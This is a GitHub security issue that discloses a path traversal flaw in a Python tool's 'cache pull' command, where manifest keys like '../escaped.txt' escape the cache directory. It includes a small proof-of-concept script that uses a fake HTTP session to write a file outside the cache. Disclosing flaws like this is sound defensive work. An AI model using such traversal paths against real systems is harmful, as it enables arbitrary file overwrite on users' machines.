Skip to content

Prevent path traversal in cache pull by validating manifest keys and resolved paths #163

@atulbhardwaj-io

Description

@atulbhardwaj-io

Title

Prevent path traversal in cache pull by validating manifest keys and resolved paths

Summary

iqb cache pull can potentially write files outside the intended cache root if a manifest contains traversal-style paths (e.g. ../...).

Type

Security bug

Severity

High

Affected files

  • library/src/iqb/ghremote/diff.py
  • library/src/iqb/cli/cache_pull.py

Why this is a problem

Manifest keys are used as relative file paths and joined with data_dir during pull.
Without strict path validation and final resolved-path boundary checks, a malicious manifest key can escape the cache directory and overwrite files outside it.

Potential impact

  • Arbitrary file write outside cache root
  • Overwrite of local files in parent directories
  • Risk increases if manifest source is compromised or untrusted

Root cause

  1. Manifest keys are iterated in diff() without mandatory cache-path validation.
  2. Pull write path builds destination from data_dir / entry.file without verifying that resolved destination is still under data_dir.

Proof of Concept

I validated this by calling the pull write path with a traversal-style path (../escaped.txt) and a fake HTTP response.

PoC command

@'
from pathlib import Path
from tempfile import TemporaryDirectory
import hashlib
from rich.progress import Progress
from iqb.cli.cache_pull import _download_one
from iqb.ghremote.diff import DiffEntry, DiffState

payload = b"poc"
sha = hashlib.sha256(payload).hexdigest()

class FakeResp:
    headers = {"Content-Length": str(len(payload))}
    def raise_for_status(self): pass
    def iter_content(self, chunk_size=8192):
        yield payload

class FakeSession:
    def get(self, url, stream=True):
        return FakeResp()

with TemporaryDirectory() as td, Progress() as progress:
    data_dir = Path(td) / "safe_cache"
    data_dir.mkdir(parents=True, exist_ok=True)

    entry = DiffEntry(
        file="../escaped.txt",
        url="https://example.com/poc",
        remote_sha256=sha,
        local_sha256=None,
        state=DiffState.ONLY_REMOTE,
    )

    span = _download_one(entry, data_dir, FakeSession(), progress)
    outside = (data_dir / "../escaped.txt").resolve()

    print("ok:", span["ok"])
    print("outside_exists:", outside.exists())
    print("outside_path:", outside)
'@ | & "$HOME\.local\bin\uv.exe" run python -

Screenshot Evidence

Image

Expected Output (Secure Behavior)

  • ok: False
  • or an exception such as ValueError: Unsafe manifest path
  • outside_exists: False

Actual Output (Vulnerable Behavior)

  • ok: True
  • outside_exists: True
  • outside_path points outside safe_cache

Impact of This Issue

If a malicious or compromised manifest includes traversal-style paths:

  • The application can write files outside the intended cache directory.
  • Attackers may overwrite arbitrary files in parent directories.
  • Sensitive system files or project files could be modified.
  • It may lead to privilege escalation depending on execution context.
  • In CI/CD environments, it could corrupt build artifacts or inject malicious files.
  • In worst-case scenarios, this could enable remote code execution if overwritten files are later executed.

This represents a high-severity path traversal vulnerability due to unsafe handling of untrusted manifest paths during file writes.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions